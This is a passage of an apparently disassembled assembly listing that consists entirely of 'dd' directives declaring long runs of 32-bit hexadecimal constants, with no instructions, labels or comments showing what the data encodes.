		dd 34440C14h, 7113135Fh, 14B0418Ch, 70D904F5h, 39146542h
		dd 8CD15h, 0C05ED8DDh, 621070h,	2EFA034h, 1692808Ah, 4360FA03h
		dd 0F7A97DC7h, 3DC9CEF0h, 0DC8F0012h, 4F6DBD73h, 0FA0396EEh
		dd 77ED1ADBh, 6A900065h, 605C4722h, 8D00BEF8h, 0EA3ACC3Ch
		dd 85EB08h, 0E77002C2h,	488097B1h, 91B5A000h, 5363D89Ah
		dd 99BA0246h, 76941840h, 65D43860h, 0A6449F03h,	987C89Bh
		dd 4FDE4730h, 71C4103h,	91D576F8h, 11C2C600h, 0EC14A2D0h
		dd 0BE8C3FE4h, 92A0CF80h, 0FF02C80Eh, 0E8A65400h, 0D175CB77h
		dd 9D7F0008h, 0E70EC057h, 0F426F086h, 4F00DCCEh, 0D6EEAA3Ah
		dd 2498D1h, 94F179D0h, 47DEA080h, 0C676CD00h, 64AD7B08h
		dd 0F0D000B0h, 0E2D1E9B5h, 4F01409Fh, 0EBE78AD8h, 0CAC4796Ah
		dd 2F7DE206h, 0EC979486h, 107C8D2Dh, 12FA040Bh,	0B0A08A43h
		dd 9C18EA6Bh, 0FD9D08B8h, 51103C04h, 88C5CCE1h,	1216B311h
		dd 751482F1h, 212F2452h, 5111721h, 63BF11FEh, 85102B12h
		dd 41D98915h, 12660328h, 0E9F1017h, 6F082D89h, 44736A44h
		dd 0C44B587h, 7214A041h, 95F895Eh, 29904D21h, 751B8415h
		dd 86475B48h, 84699078h, 0C7487783h, 9040684Eh,	44B1887Dh
		dd 3EB821A3h, 0D9105112h, 88F897Ah, 6512F9BEh, 0F363EC23h
		dd 0BBE0CFA6h, 0CC3BC9h, 0A41ED6B8h, 506EE50h, 790F8600h
		dd 55323EE1h, 4B2500E7h, 606F406Ch, 5B074C80h, 3B1A0E7Ah
		dd 0DBC38B40h, 41110BD8h, 58E85A2Ch, 6700AD2Dh,	0AE9AF4E5h
		dd 8E01A5h, 0B087D12Eh,	0C932823Ch, 0AB6EDF04h,	0C0C07B5Ch
		dd 1E6AF869h, 0AC87027Fh, 8A4080C4h, 95B1A9B6h,	24E2FD01h
		dd 2D2C5319h, 74BA60DEh, 694F01CBh, 0C87D29F6h,	0D54C2472h
		dd 87CAE43Ah, 8EA26C4Eh, 23879430h, 0B46430A0h,	97EE2578h
		dd 9310431Eh, 62E51A40h, 0F167603h, 25F12A4Fh, 0A8CEEAh
		dd 0ABAD3610h, 1B00381Ch, 3AE740FEh, 2423357Ah,	0E48A893h
		dd 0FFAFC2F3h, 0A19EC063h, 2791CC98h, 60FD5506h, 5399DEB6h
		dd 0A201902Fh, 7EF0986Ah, 0B34ED82Bh, 80695A00h, 48282C7Dh
		dd 3AE43Bh, 1BEFD864h, 0C5EBA099h, 90FAB000h, 5AFE1CB8h
		dd 65AA1FF4h, 0C13009Ch, 0F7FB50A2h, 8C0C8D4Bh,	28811895h
		dd 7D2353Bh, 3E313805h,	0C11010DFh, 430756FBh, 17CCEE04h
		dd 0C46EE050h, 9E730057h, 539921F8h, 83007EA5h,	51F19BFCh
		dd 54B482h, 1D17EC84h, 395C7C78h, 60DF3Dh, 0AA5F71D5h
		dd 0B846166Dh, 56020048h, 75A30845h, 0C104A667h, 58AC19DBh
		dd 2AA819C0h, 6FAD00AEh, 35744017h, 0FA3CB376h,	98A32853h
		dd 27836500h
		dd 429CB071h, 0B7950E56h, 0CBE06CDBh, 0E703C4F3h, 0E6938802h
		dd 80F21DBEh, 720D8088h, 0DB69000Bh, 39512429h,	4D054A3Ch
		dd 8687998Ah, 0E616E0C5h, 90C34900h, 122F58B2h,	0CEA2A7h
		dd 0CC887335h, 622F898Dh, 1D209029h, 0E17370h, 1CA8B804h
		dd 512E3CF1h, 34B73B00h, 0DA1FD182h, 0A2330011h, 1DFEABC8h
		dd 6A75DB0Eh, 8C90EE02h, 41D4EC9Ah, 0BC606D58h,	0C054940h
		dd 3AF2F300h, 0EEC2E9ADh, 74B52F03h, 0EB6AF7A6h, 0BF4FC024h
		dd 877805CCh, 0C04DB35Eh, 290E6E8Ch, 0B707DCB8h, 0BC8D3B93h
		dd 2CCCF50h, 954500D0h,	0C7B3ADAFh, 0B6009974h,	0BA9C7616h
		dd 24497578h, 84B592h, 54B74D3Bh, 0D9003DE2h, 0CF417E5Dh
		dd 3C017770h, 6F8775A4h, 40CAAAC5h, 0F1AC5563h,	17A00C02h
		dd 58854BA9h, 8AE21060h, 44248094h, 703167h, 0F8158462h
		dd 3FC96473h, 60267217h, 0A90A301Eh, 90008456h,	0FBF744ADh
		dd 0D01D1CA8h, 0E23800E0h, 3F0CFA4Eh, 7F45048h,	62CDA623h
		dd 8844BF50h, 1F55004Ah, 8368AAB2h, 0E51FF7A3h,	9EC0E0C6h
		dd 0CCCDB543h, 8021976Bh, 3DD4915Eh, 7C2804A4h,	0C4E0A5A9h
		dd 455012Fh, 3D384248h,	0C8689Ch, 61372D1Bh, 32E7B78h
		dd 7043C423h, 21008652h, 3402E211h, 1EDE5DAh, 45CD5A8Dh
		dd 80C0BE79h, 0F784459h, 7D153D4Eh, 906FF22Ch, 0F19A0020h
		dd 9B69D6E2h, 0F90034B2h, 0D332BA8Bh, 1297DAh, 4D47FFF3h
		dd 3DC10EB6h, 87AA5707h, 85D078EEh, 3735556h, 537C9FCCh
		dd 0D6009AFFh, 0D3D6AAFh, 39F9A0C5h, 74BE219Ch,	0A7E1C00h
		dd 0B8D8DAE4h, 0FF366D00h, 0AADD6F7Fh, 5D2000F1h, 173C18AFh
		dd 2E9747C7h, 9530E318h, 1A7D8084h, 15741C03h, 7B8443Eh
		dd 0BC00F34Bh, 58588618h, 1F991FBCh, 1A95F3C1h,	50305DA5h
		dd 0DE762Ah, 2F4DC23Eh,	1EF06F25h, 0ACCE0E24h, 477F8C00h
		dd 32C055Bh, 17CDF6C3h,	661E72F1h, 2D830161h, 0D0E27896h
		dd 70144Ch, 8386AAE7h, 60DC425Fh, 0EE73C826h, 0ECFD8F00h
		dd 14385Bh, 9B31DE63h, 951E9FB0h, 0DCC80A07h, 7A305CA2h
		dd 0B33EE7h, 527FEE3Dh,	0EC574847h, 0F6A0C478h,	87900484h
		dd 2ADC7B00h, 23FAA040h, 0B5D903C7h, 0C1F6E2F2h, 0D082ED80h
		dd 43784B00h, 0DDFD620h, 8E3705BAh, 8225E1D7h, 0B8E0D141h
		dd 948838Ch, 9C5E0208h,	406BDBA9h, 0C43EEFh, 0A526CEB0h
		dd 0C119EF65h, 0B511DE00h, 4C2B4606h, 410E09E0h, 8420EC60h
		dd 0AB9A1B3Ah, 0E0DFA32Ch, 0BA0C2104h, 0B01E005Dh, 68ABEC4Ch
		dd 2AB6760Eh, 81A9A4A4h, 0E603C4BCh, 71BA3511h,	22161100h
		dd 265C2B3Ah, 5749089h,	0CD0E08CCh, 4AEC807Fh, 3918FFFEh
		dd 681CB7E4h, 11E30587h, 513D63h, 64DFA5D0h, 0C4A077C4h
		dd 0D605709Ch, 0A9B216EBh, 7150A981h, 3D6A8030h, 7E815322h
		dd 948C021Ah, 49B6D8A0h, 73293B07h, 9A10984Bh, 0E584753Eh
		dd 4EF0DC61h, 0B20B1FECh, 0E2F040C5h, 0DD047041h, 2FFF0A07h
		dd 0F5E0BF7Eh, 259FAD8h, 6BE0C1CAh, 62409E0Fh, 527D2742h
		dd 0CB805500h, 88D040BCh, 0E52E008Ah, 6BD235F1h, 98C0E39Ch
		dd 11A03366h, 48720274h, 9DD82E7Ah, 0CF317860h,	1918E500h
		dd 846FBD46h, 48D61E21h, 5AB04369h, 0B7D07257h,	0BB004BC7h
		dd 0EA661D9Bh, 26BD36ECh, 0D4020Fh, 9AE0E239h, 5E134F4Bh
		dd 7800E33Fh, 61551CBBh, 0F820269Ch, 97F9C50h, 0D4C05DEFh
		dd 990C2FDCh, 8CACABD4h, 747769h, 0EC6B7733h, 181D393Ah
		dd 107D4D02h, 4023B21Ch, 3D3EF6BCh, 9F80AE94h, 7C558C50h
		dd 9600BC64h, 6E0B7784h, 704C909h, 223B69E2h, 0A49C103Ch
		dd 280AF344h, 0C7DF6DF5h, 6A248124h, 272FBA00h,	0F3905E3h
		dd 99B322ACh, 0E7089BC0h, 0EA0196EDh, 4A8C14D7h, 12C8E576h
		dd 9073C1h, 0CAAC4C5Fh,	1FBC8B78h, 970AC900h, 0AB07E8F7h
		dd 0E65B1328h, 87F303CBh, 0BC985461h, 0FF00AE02h, 0F2D8431Dh
		dd 3A96672h, 0C2FB9062h, 65B8B061h, 0BB00A30Eh,	0F421737Bh
		dd 0B995D5Ch, 9E574DF0h, 0C3A5CC00h, 0EF02B0E7h, 0D49602DCh
		dd 91454F7h, 0EC03B30Bh, 26D84827h, 32045DFFh, 4CC0351Bh
		dd 1A0014A8h, 789163EAh, 0D0589FCh, 0A2C7594Ah,	9EB240C0h
		dd 8020B429h, 0EA6D7121h, 39501B38h, 0E501DFC4h, 84D98C68h
		dd 44C8CB36h, 49FA01E0h, 4FD318B1h, 982893h, 5CC4814h
		dd 0E31610h, 53242B0Ch,	0E9888C01h, 4703617Bh, 65E03679h
		dd 9988003h, 5DED0115h,	7F678B34h, 9622D0E9h, 0C6D82A2Eh
		dd 92E22D00h, 3EB8038Eh, 0B281F8A9h, 2C1205A1h,	0D71D4CBh
		dd 0C0AA3Bh, 859F077Fh,	0F5B7DEF6h, 0E7F0C0h, 3BD0A365h
		dd 6970A283h, 91A77800h, 0C4CF79DEh, 0DFA02897h, 770700A0h
		dd 0A3295545h, 6324C910h, 9D024E9Ch, 61A479CAh,	87614847h
		dd 0CC6830h, 0DE2B94E4h, 3308EDD2h, 3FD84400h, 66D19A17h
		dd 48B30070h, 22C9468Ch, 6401A6B6h, 0D9D3D00Fh,	9420F4BAh
		dd 0F9A9123Fh, 0F770A0CCh, 4E28913Dh, 0D1B04C0h, 61000ABh
		dd 2229A502h, 6E0BE304h, 0E8BDA7CBh, 3881261Ch,	6B00AE05h
		dd 76DA1C8Fh, 615052BBh, 0C816C4B8h, 64124B20h,	0C97493h
		dd 0BE650A11h, 9FB3D4B2h, 0AD70BD00h, 0F3302AE7h, 203A1394h
		dd 1140033Fh, 13F08DE6h, 76007DFBh, 6375E76Ah, 3D332Bh
		dd 0C7B03CA4h, 0AB8406E5h, 8B8F1C07h, 67B3018Ah, 6AA8F081h
		dd 92F009FEh, 10A03C60h, 498968BEh, 3FA65912h, 3ECB1000h
		dd 54FD9Fh, 0C2451A40h,	0A9B7A398h, 30C9F400h, 3B474A22h
		dd 0E09B07B8h, 0B01C60E1h, 32D70234h, 22C2E500h, 47AA54B0h
		dd 0FCCF0091h, 254921A2h, 645CBC57h, 3584009Ch,	6315DA24h
		dd 0E3791EA6h, 382AC199h, 7037E076h, 0B490A976h, 237F5100h
		dd 36A0B475h, 0A3C12582h, 24C7D461h, 439E2C0h, 19CA8798h
		dd 840056F6h, 176E09h, 3025E76Dh, 3E404555h, 95864904h
		dd 0B480A483h, 9F566206h, 501D98A2h, 5EDA10C0h,	9EF05954h
		dd 11FE7B00h, 66E92B9Dh, 0CAB70A52h, 782922h, 7F99D23Bh
		dd 0BB3B61C6h, 0E8C5008Eh, 0FECF59FDh, 27ED036Dh, 0D037C45Ah
		dd 40329AB8h, 80C99EF2h, 3AF0039Bh, 3811071Dh, 83FADCDEh
		dd 0CFF8FC39h, 0FDB8A205h, 81D92A39h, 0F80899Eh, 0B03C3F1Bh
		dd 2949A1Dh, 0AA9DBB3h,	8F027050h, 13EC5AADh, 0C938E95Bh
		dd 0F2B0F434h, 2D463039h, 0A724E11h, 6EE7303h, 0D0CAF708h
		dd 37EBC9Ch, 3B28A9B3h,	6800F9E3h, 0A2D45C64h, 87FFDBh
		dd 0F8C5014Dh, 30554C2Ch, 0BA0010BCh, 857A94E6h, 0BD480011h
		dd 0C190F666h, 137BC584h, 0F2E66201h, 7F6CD334h, 4C513870h
		dd 35176832h, 369209E8h, 4A0174D8h, 12E113AEh, 0F2C07A92h
		dd 10731Ch, 0DFB6B7D0h,	8FF8646Eh, 8B154400h, 0BC93CD3Ah
		dd 14F01366h, 0EC70B106h, 0D02442Ah, 9FBD09E1h,	0B24CC0B6h
		dd 1D9FCACh, 697C1811h,	70254586h, 4E00E5C1h, 57ADE1D1h
		dd 7DA16Eh, 4C11E4Bh, 5076F84h,	940068F0h, 0F8C9D696h
		dd 90CE90B8h, 0B78100A4h, 991459AEh, 855CF7DEh,	36FF0058h
		dd 0E77DCA6h, 6F4902A5h, 8104F9F8h, 26A90F40h, 71104658h
		dd 96796C02h, 0C04D20E1h, 2D1CBCh, 5DEADCBCh, 0F98B7C83h
		dd 0EB860F01h, 65F2AB60h, 3258E8h, 29AC2E17h, 506C46EFh
		dd 2D7EFF1Dh, 0FD16E080h, 0C33C1Dh, 9C2B7999h, 0EB7056C2h
		dd 482FED01h, 57D87866h, 2E9FDB20h, 1743FBCh, 0C5D410D9h
		dd 3BE4E4C2h, 0CDBF0E01h
		dd 391920B7h, 6AA4413Fh, 0CCC3D074h, 7E60F482h,	13A87598h
		dd 50392648h, 1740005Fh, 0EA714D21h, 0F316251Ch, 0D1631340h
		dd 7DD6A06h, 0D034C358h, 0FF9DA066h, 0FE287049h, 6700CCF8h
		dd 0C1B6DF16h, 27CE2Bh,	0F9261A7h, 6C14317Bh, 5274FC26h
		dd 77C2A800h, 0EE38F571h, 0E26A0056h, 0B4CF25E4h, 7C48930Bh
		dd 5CF3071Ch, 9FF0BDA0h, 334D4C1h, 0E29C97FDh, 2DB22312h
		dd 7D19C47Eh, 0DC70CCE0h, 51330341h, 0E727F40h,	0D983368Bh
		dd 78603A8Ah, 0DF0E15D0h, 60A5F51Ch, 0E7C4772Fh, 0D7850BAFh
		dd 1502BB50h, 5F416340h, 3642D3Bh, 87654819h, 1CFAAD2Eh
		dd 866747B7h, 0D522A02Ah, 0D00058BBh, 4682C91Ah, 0E09F9614h
		dd 65D302E1h, 0BAD4D918h, 56A424C8h, 5746D00h, 0E6693BB4h
		dd 0B34700C9h, 3923156Eh, 0CA3AA071h, 7D03098Eh, 0E71F00F8h
		dd 0D692F22Bh, 3D210080h, 16B89F14h, 0CABCE900h, 6EC94A8Dh
		dd 71B33DA9h, 1896C380h, 0A6268868h, 22010EFAh,	412E97E9h
		dd 0E4C0EA6Bh, 0BA8D006Fh, 9CC6C5CAh, 0B40EAA03h, 63BC795Bh
		dd 4EA5A9C1h, 6E108099h, 130006BEh, 430E1EFDh, 0FBD864h
		dd 0DCD042F4h, 3D56BD5Bh, 1D5E3703h, 89E136D4h,	57C44A99h
		dd 3A670932h, 77123Fh, 0D36DCD23h, 0B6BD00BAh, 9769A12Ah
		dd 671D9C02h, 0DC0ADACh, 0CAEA03A0h, 5038C066h,	6579E5EDh
		dd 0FAB14B1Eh, 80BFF80Eh, 2084D15h, 63100087h, 78905317h
		dd 60BCAF33h, 3B58CA04h, 0E80CC4C3h, 48B037Dh, 1396CBE5h
		dd 78A4A0CFh, 0C8003DB0h, 0E2293BEEh, 13A0CB1Dh, 40D2A39Eh
		dd 490D1C9Ch, 241C4060h, 6E44CC34h, 98A44C85h, 25EF008Dh
		dd 7D9FA288h, 0A100F5B0h, 0C7AC0568h, 0EA72CB8h, 0AFC5F363h
		dd 0CE284C4Ch, 0F8707807h, 49C009D4h, 0CB3F33h,	0FBE24E5Ch
		dd 0C274B63Bh, 68009C71h, 0C0BC8145h, 0CAEB18h,	0BA96380Eh
		dd 6717B764h, 0FD65D500h, 0DF47552Ch, 97760F34h, 0D1C0CE2Ah
		dd 4BC295E3h, 0D0677900h, 0A04C787h, 0AEE600E1h, 0FBF24664h
		dd 9D0081F9h, 96EBEEB7h, 0AC4020h, 8ADC5CC4h, 1DB89C7Eh
		dd 16DE761Eh, 5F4C2027h, 45A79Dh, 854DBEDCh, 531BFF23h
		dd 3E5868B0h, 6AE51785h, 0CA47D820h, 63B70021h,	0B89D1864h
		dd 0CF3D717Ah, 40D05B9Ah, 4EB40C9h, 55AB407h, 0E15480EEh
		dd 0AA172543h, 0B0003081h, 0FF26DEE6h, 0DC5850DAh, 0E4900721h
		dd 283C2AFCh, 0D7A8B300h, 1C3C13Fh, 5F9D33D1h, 2E8BE791h
		dd 89C1EC27h, 45608072h, 7769004Fh, 0F5D15A2h, 6C78DDDBh
		dd 0C72F8E17h, 0EF564A0h, 0FFC0F7D3h, 0E4A592C0h, 0FC00AB07h
		dd 0D4C31C2Bh, 0F6583713h, 4D0F0316h, 0B0454B42h, 995BE2F0h
		dd 73DA2A03h, 0B8EC8901h, 2E493A1Dh, 14A038h, 0EF9AEA2h
		dd 874BC79Eh, 0B70D2480h, 0A3FD03F2h, 6B535E15h, 73407CEAh
		dd 562CB631h, 3F009CC1h, 0D31E2F40h, 9C69074Eh,	0F5FBD96Fh
		dd 3DD4BC44h, 98BB0019h, 0F659BE81h, 0D0312E52h, 0C0221FE0h
		dd 0C2019637h, 0E00B76Dh, 8652C71h, 13D79061h, 80C092B5h
		dd 6DA9AF80h, 94ECDB00h, 76A26073h, 1E40BF3Fh, 3000418Bh
		dd 8EB825A7h, 1FB9838h,	408506E9h, 20D80213h, 0EB00E034h
		dd 823CD19Fh, 4B8DEA09h, 100C0089h, 525D0A83h, 0B91F5EECh
		dd 79C159C9h, 1E770433h, 26F3CC40h, 0BABD3080h,	977BA911h
		dd 48DFC200h, 0C9366602h, 63D726F7h, 0B09800FAh, 0EEFDE344h
		dd 0EA9B900Bh, 6CA04807h, 0ADCE0983h, 400F8E12h, 6AF8A760h
		dd 72B08CFBh, 4B293803h, 0A1A49AC9h, 1F701B87h,	0B4B9078Fh
		dd 100D955Eh, 668B0588h, 9FC50602h, 80D0A7F3h, 855E67B0h
		dd 61AC0073h, 6A056677h, 0C803AEB2h, 76524F87h,	1D9286A9h
		dd 0F851DAh, 1964A6B0h,	4A004D43h, 83CBB98Bh, 250970h
		dd 66D2BB01h, 573C24E8h, 52278600h, 91A3AAF0h, 48F90EBEh
		dd 7C204C25h, 1C80B04Eh, 959E21C1h, 49B87FDFh, 50984F81h
		dd 80533C61h, 7368BE20h, 7AF922D4h, 0AD5F07E8h,	6075E960h
		dd 30019D95h, 0A54C73F8h, 7ACD0078h, 69BCB489h,	0AFC30098h
		dd 949C714Ch, 0EE003BC4h, 3589E02h, 72FC7D4h, 5701EA27h
		dd 3BF99040h, 0D2009916h, 3EB57665h, 2A43E0h, 9EBFEB8Bh
		dd 7309790Fh, 3800254Ah, 0D5C2232Ch, 0DFC30F70h, 1818AF0Dh
		dd 1241A2Bh, 7808C5Eh, 0F993CCADh, 0BC8A0059h, 1DE0AEE8h
		dd 0A407AC08h, 9149AB18h, 0F77B6DF1h, 6028E080h, 0AA146E10h
		dd 21BDE3Ah, 7724191Fh,	20CCF0A4h, 3C01657Ah, 5C9CC4E4h
		dd 0FF01DBh, 0B140E681h, 68693560h, 47264300h, 10E7219Fh
		dd 0D62B00C7h, 0C69CF3ECh, 5600B4C2h, 371E8B5Dh, 0E4F2CBh
		dd 2ED69DC5h, 0D11ADC3Dh, 9EABFA12h, 0CE7DD880h, 0B5C10079h
		dd 0D47A90BAh, 0B27A0555h, 9BCFE41Eh, 0C5C0C807h, 0E8BFE653h
		dd 2A0436Fh, 63D03629h,	28F87D94h, 78681169h, 0D16C0078h
		dd 56AB4C2Ch, 0D605CC04h, 6BEA7CFCh, 98E3A040h,	37D3DB70h
		dd 90891222h, 0F3EA1B83h, 0C4C83F00h, 0ADCC1A14h, 0BE61C08Fh
		dd 9FB1C942h, 9B3EA0Eh,	5BD22036h, 0BCDC7A2Ch, 11190080h
		dd 12684291h, 7087070Ch, 5889BDh, 8D2D006h, 4D7925FBh
		dd 360801BFh, 6848446Ch, 8088866Dh, 0E8008DD1h,	0C7D0C1B4h
		dd 306130BFh, 0DFB9A5AEh, 0C2005CDEh, 11CC4B88h, 0D157DCh
		dd 9E41CE9Ch, 0F8936A1h, 7096D6FEh, 79CD0587h, 59AF6090h
		dd 0AC9D166Ch, 3B11000Eh, 0A583A81Ah, 0B57CD805h, 1CD0C701h
		dd 29403553h, 1C785DD4h, 56438016h, 0FFDF49F0h,	75D83F01h
		dd 90640508h, 47B3A8DBh, 0C9680038h, 2B56ADA6h,	8A18DB13h
		dd 5CE4CA0Fh, 0E0E20134h, 2446B4Ch, 0D8822A2Eh,	9E10F454h
		dd 183C014Ah, 0C8535162h, 0C002080h, 41EFD4E6h,	1C6EE3h
		dd 0CE0E4B30h, 0DE54B74Ch, 59D53100h, 6AEC5291h, 0E6420036h
		dd 47464A56h, 2D003057h, 3911CE1Dh, 7D05DEE8h, 9FC91E16h
		dd 31020068h, 3037F0C4h, 12278E02h, 0A1B4FBDBh,	0DEFEFF84h
		dd 8FD49475h, 409A12EDh, 0D52C4012h, 0FE5FBD1h,	6C6D922Eh
		dd 7153A01h, 4198D967h,	36E8D8AEh, 0A4E02654h, 3E1771Dh
		dd 90809781h, 0DD70A2BDh, 1E601F47h, 51D83F2h, 0F7A0A5AFh
		dd 8500FF55h, 0BA636E0Fh, 5F70D0h, 0ECF97695h, 0FEE67E17h
		dd 664B1600h, 0E4948839h, 0EFFF1D52h, 33F1402Ch, 0F57B07D4h
		dd 61120D00h, 0E05CDD37h, 0AE910763h, 20CAB9C6h, 0FA52A221h
		dd 0A90E8C96h, 0EB3FA0BFh, 985AEB3h, 0E980FEB8h, 7004AC87h
		dd 197DCACFh, 5400F17Bh, 0B5709995h, 33AC48h, 1E75D9Bh
		dd 3F18D285h, 0D7677500h, 1A50B578h, 0DB403DFEh, 0F91FFD07h
		dd 0CF13F061h, 809056BFh, 3917E27Ah, 34B006B2h,	0EDE3002Fh
		dd 83F5A95h, 140040ECh,	2663DC97h, 0E6FA3D24h, 0C52E008Dh
		dd 9F287C77h, 0BAEA6251h, 0A9606502h, 0E323ED2Dh, 0AB53899Ch
		dd 2A3CB87Dh, 0ACF90293h, 376200ABh, 0C59E401Fh, 3E52C13h
		dd 0B98A00D4h, 0AD97B3B6h, 0F00B4401h, 43273099h, 0A18ED4h
		dd 10E487E3h, 6B747EFAh, 0D3C0A003h, 0FBD3E21h,	0DA8CE748h
		dd 0BF90CF20h, 51001A98h, 0A4F47E7Fh, 0C4849Ch,	0D499127Ah
		dd 74E12A1Eh, 20187949h, 0F64C0488h, 0A8BFDF0Ch, 7C405574h
		dd 0EE80474h, 1482722Ch, 1D8F8DBh, 0B49C64E9h, 0FC75777Eh
		dd 1613A0DDh, 2CF08786h, 102EA26h, 32039EC0h, 0AC96F627h
		dd 2E005711h, 3C94B92Ah, 7021FA9Ch, 0E2EF0735h,	0F75BC7FEh
		dd 0D4C42175h, 0CB91C817h
		dd 999F9500h, 1BA49CB6h, 9A2C00EEh, 8065AADEh, 5E00AB82h
		dd 3E58C3EAh, 44A06FDh,	7B49213h, 939C883Dh, 0D7810805h
		dd 38948E05h, 62D9B501h, 0C730CDFDh, 7B9B00D1h,	0A51D4D15h
		dd 6E03CF2Dh, 0ECB99F6Dh, 0DC70E10Ch, 28FAA860h, 0EC3F1Dh
		dd 0DB5FC633h, 1AA695F1h, 6BDE6A01h, 0FF5437A8h, 0F98003Bh
		dd 0D0D204CEh, 758E53Ah, 0CCC22FBBh, 0B5AF18D0h, 2B232C5Eh
		dd 16910588h, 55BC41D2h, 666C8D07h, 139CC090h, 94944A50h
		dd 0DACCC168h, 30FC2449h, 66FCDB00h, 0F1B23F6h,	7FB500C3h
		dd 122A445Eh, 2B2402E4h, 4C26976Ch, 0DEAEE100h,	0CC9361h
		dd 6976A33Dh, 2E286BCEh, 0D10E6431h, 788B1488h,	0FC411E4Bh
		dd 53406483h, 1D9F720Dh, 1FC0B188h, 6359818Bh, 52021344h
		dd 70C1F834h, 0F9F81BF4h, 0F43DE09Eh, 6DE9024Eh, 76A5F60Ch
		dd 985C0FBh, 0C11BE7E5h, 0A7E081F1h, 957BF830h,	2E01C4C8h
		dd 327F5501h, 0B81566CAh, 202C3468h, 0E431E0C8h, 6CB044EEh
		dd 0CB725600h, 3E45A79Eh, 145E0310h, 0B9EBDC2Ah, 362FB116h
		dd 3053502Ch, 57818149h, 4E05776Fh, 862B36DEh, 33048440h
		dd 95AE56DFh, 647598E9h, 0DB1C5BBCh, 0CC3E73Fh,	7041D1C5h
		dd 20B7999h, 7630985Dh,	0A8C42D48h, 73A1E900h, 0E31DB02Ch
		dd 299B126Ah, 2D16AC02h, 5BC88113h, 64207CA4h, 1C4460D9h
		dd 92BCEBC3h, 0B6D6BB1Dh, 4C8C00F9h, 65E63369h,	119F60B3h
		dd 7A5E5B7Bh, 0BB9E3Bh,	3447F61Ch, 0B088C6h, 905F5CBEh
		dd 6F72F3FCh, 48FF9F1Ah, 3251C1A8h, 2460870h, 2D2F1FFBh
		dd 0E470DB9Bh, 383D4B19h, 43C017D9h, 0A7C82FB9h, 6C299CC0h
		dd 87D57500h, 4E7C2285h, 5A7A3A4Fh, 61DD4284h, 50B86Eh
		dd 5EB39167h, 34B976h, 63A11FB8h, 0FD82E7F1h, 4E0A4D0Bh
		dd 26B84017h, 0C7C039A9h, 56C89900h, 0B420EFEDh, 69428E00h
		dd 3AECA1F1h, 38D00E4h,	7808FA13h, 1BFC4F93h, 0E7064900h
		dd 358F11D9h, 0AF3D03D3h, 0C2DDCEC9h, 5CB97098h, 0FC000BFAh
		dd 50A02EAEh, 646C48h, 6AE05BC4h, 310313AFh, 3E079598h
		dd 0BCAC6BC1h, 7C5FD3B0h, 63591282h, 0D140B00Fh, 81F06A38h
		dd 92352AA3h, 0C6406FF2h, 1C3460DEh, 0C394DB36h, 0BDB2DD20h
		dd 4BA11C80h, 7B08021Ch, 0D5517440h, 13461215h,	0C59277h
		dd 55798AD0h, 0FF00B368h, 0C6D120A9h, 0EDBE3ECh, 45BF95B2h
		dd 17BBBE63h, 0ABA03900h, 0A216DC5Fh, 826102EBh, 5B4FFC22h
		dd 49925440h, 6400249Eh, 0B3A00D67h, 867A7Dh, 0F05C178Fh
		dd 0F34D26A4h, 0AC93B600h, 9DFCF449h, 0C1C75A54h, 0D4D1E148h
		dd 0F01F350Ah, 27963E38h, 0E31A9007h, 0C0415923h, 0F79F542h
		dd 8BC69894h, 20481E47h, 40299AF3h, 0CF997A03h,	0D0028687h
		dd 71A466E6h, 0D6A0FA8h, 0F65FB3h, 195EE589h, 0B8C0167Bh
		dd 86113B5h, 0A48C00EBh, 1E726B54h, 0CD0F4D60h,	6952DC38h
		dd 3AE023BAh, 326B9012h, 0A86E5C30h, 0BC1CF512h, 2F0201A4h
		dd 44C092B9h, 20D8002Ah, 0C89E8FA7h, 145B8624h,	0F1B60E00h
		dd 0BB4B12Ch, 1A747FE4h, 71E1688Eh, 0F5AFC59Bh,	0DA5C60F7h
		dd 0BE26E7FCh, 3900147Ah, 0D10F931Ch, 3A7D7B7Fh, 6393C2D5h
		dd 0E474014Fh, 0CFB88A77h, 14BB1101h, 4E9F4447h, 0E8340800h
		dd 1B0074F8h, 0AE4F262Fh, 981DE05Fh, 9F380048h,	0DF72E527h
		dd 0E8000860h, 0C1AF8487h, 713B1C96h, 0F6E20095h, 0C76E5035h
		dd 0CD024691h, 0AE85C46Ah, 0ECF8800Bh, 373565h,	40E8F41h
		dd 782E9CAFh, 38E3D72Eh, 30465E00h, 2C07ECCh, 0D050CBA1h
		dd 0BC807A0Dh, 679C89DEh, 979A98h, 3B8EF264h, 69AD00A9h
		dd 2DBAB00Eh, 5192C90h,	0C5F0BF9Dh, 9765DD4h, 85617237h
		dd 0A959A300h, 0C3FA786Bh, 0B9CABB13h, 53892440h, 993BA52h
		dd 544CC594h, 107ED8B1h, 0EC6A67A8h, 581DEC52h,	0C5025C2Dh
		dd 2A88664Fh, 3415BFE1h, 0B70F8DC0h, 60EB4E47h,	4A1A7358h
		dd 2C352657h, 0E2AD01E0h, 0E15A4CFBh, 0BC80BCDAh, 51EC0060h
		dd 95AFF91Ch, 189F7541h, 0F061DAFEh, 0BDB8EF5Dh, 80B17D78h
		dd 1E749D00h, 0C9E2980h, 6D53CFC4h, 6B00DF5Eh, 0C519698Dh
		dd 31168Ch, 253F618Fh, 0BD01CD35h, 2FFCD1C1h, 5C24DA85h
		dd 0BB4D2A1Eh, 513E0288h, 0B968E18Bh, 3C807642h, 0FB5F8158h
		dd 1860C2F6h, 6E647C8h,	5237349h, 8C0F3442h, 93D04254h
		dd 34C808B4h, 317866Fh,	6173A2h, 0F1293F9h, 0E680A0D3h
		dd 6F80E289h, 1DDB0167h, 6EB2833h, 0B6076AFh, 7670B1Ch
		dd 609F76E8h, 0CE3F75CDh, 0B024ECAh, 901C7F84h,	0EE1DD02h
		dd 2047CB9Fh, 51A9F70Ah, 81CDB70Ch, 3884Ah, 29E2C4B9h
		dd 60E78A5Dh, 0A2C01CB9h, 7F179CCh, 6FCE29EBh, 54727995h
		dd 50315Dh, 34A7BF77h, 0FE4053FDh, 270A12A5h, 2478B43Fh
		dd 71BABD48h, 7B23FC1Fh, 657C1DC1h, 0E881A940h,	4BC90DCAh
		dd 84407FECh, 4D14F920h, 0EAB87465h, 0E1570140h, 42C24F7Eh
		dd 0FC08CD50h, 52264769h, 1700B432h, 8F844EAAh,	623F275Dh
		dd 86694840h, 60901448h, 217D4D10h, 9FAD00FFh, 25C2C143h
		dd 48267B2Dh, 0ED00E30Fh, 0C860F867h, 470800DEh, 0CE11D868h
		dd 0F2EA5F5h, 5080E80Bh, 36C4DF70h, 0B64906B2h,	603105AAh
		dd 273C8459h, 324814B5h, 0B7418EAFh, 2C073CE6h,	414D182Eh
		dd 46204970h, 0AFAB009Fh, 0C23BF9E1h, 0A7458CAh, 0CB39BB00h
